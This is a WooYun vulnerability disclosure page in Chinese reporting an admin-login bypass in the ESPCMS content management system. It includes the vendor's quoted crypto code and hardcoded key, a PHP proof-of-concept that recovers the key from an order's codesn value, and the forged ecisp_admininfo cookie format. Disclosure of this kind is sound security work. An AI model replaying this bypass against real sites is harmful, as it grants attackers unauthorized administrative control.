当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(31) 关注此漏洞

缺陷编号: WooYun-2015-98132

漏洞标题: ESPCMS最新版后台登入绕过DEMO测试

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: roker

提交时间: 2015-02-25 09:06

公开时间: 2015-06-01 09:00

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-25: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-06-01: 细节向公众公开

简要描述:

漏网之鱼,同样是加解密函数,但又与以前不同。

详细说明:

看看加解密函数

code 区域
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
} else {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
}
} elseif ($operation == 'DECODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->decryptCookie($string, $key);
} else {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
}
return $result;
}





比以前的多了一句话

code 区域
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);



如果存在 mcrypt模块且 $mcrype为true,则调用 encryptCookie进行加密,

看到encryptCookie

code 区域
function encryptCookie($value, $key = '@LFK24s224%@safS3s%1f%') {
if (!$value) {
return false;
}
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $value, MCRYPT_MODE_ECB, $iv);
return trim(base64_encode($crypttext));
}



php自带的 加密函数。。给跪。

在对会员,后台等cookie操作进行 加密时 mcrype都是默认为true的,于是乎以前的 方法不行了。

但是,在 /interface/ordermain.php这个文件中,发现 加密时,竟然设置了mcrype为false。

code 区域
function in_read() {
............
$payobj = new $plugcode();
$codesn = $this->fun->eccode($plugcode . $read['ordersn'] . $oid, 'ENCODE', db_pscode, FALSE);
$respondArray = array('code' => $plugcode, 'ordersn' => $read['ordersn'], 'oid' => $oid, 'codesn' => $codesn);
$return_url = $this->get_link('paybackurl', $respondArray, admin_LNG, 0, 1);
..........



我们可以 将这个 codesn 用以前的方法还原出 key。

后台检测管理员权限的代码如下

code 区域
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)



用得到的key加密

code 区域
1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

这个值,即可登入后台了。(password随意,注意admin_AGENT和admin_ClassURL别写错了。 )

-----------------------------------------------------------------------------------

首先,注册用户,购买个商品,来到查看订单的页面,

审查元素,

1.jpg



code 区域
return_url=http://**.**.**.**/html/cn/index.php?ac=respond&at=payok&codesn=ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw&code=alipay&ordersn=ESP-201502240614511702&oid=198

return_url后面的就是我们需要的了。

填入 poc,

code 区域
$text = "明文"; //得到的字符串中,code,ordersn,oid 依次拼接的值

$cookie = "ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw"; //cookie

$bincookie = base64_decode($cookie);

for ($j=0; $j < strlen($text); $j++) {
echo chr( ord($bincookie[$j]) - ord($text[$j]) );
}



然后 将得到的key

code 区域
5b16dd028ac5b2eabab6125A6A88B****



用encryptCookie加密,

2.png



修改 cookie ecisp_admininfo,

即可登入后台

3.png

漏洞证明:

如上所述。

修复方案:

不懂为什么要 FALSE。。而且检测登入 最好也检测一下 password吧,不要太信任用户所传输的数据

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-01 09:00

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-03-03 22:36 | roker ( 普通白帽子 | Rank:372 漏洞数:102 )
    0

    厂商是放假了么-。-

  2. 2015-03-06 10:21 | Pany自留地 ( 普通白帽子 | Rank:134 漏洞数:27 | 0day just like a joke.)
    0

    悲剧。。。

  3. 2015-06-01 09:09 | 牛 小 帅 ( 普通白帽子 | Rank:1470 漏洞数:116 | 1.乌云最帅的男人 ...)
    1

    我是新来的小学生,一年后我能秒榜吗?

  4. 2015-06-01 09:10 | 乌云白帽子 ( 路人 | Rank:19 漏洞数:5 | 路人甲)
    0

    666666

  5. 2015-06-01 09:22 | GsAn ( 路人 | Rank:16 漏洞数:13 | Whoami)
    0

    前排占位置~~

登录后才能发表评论,请先 登录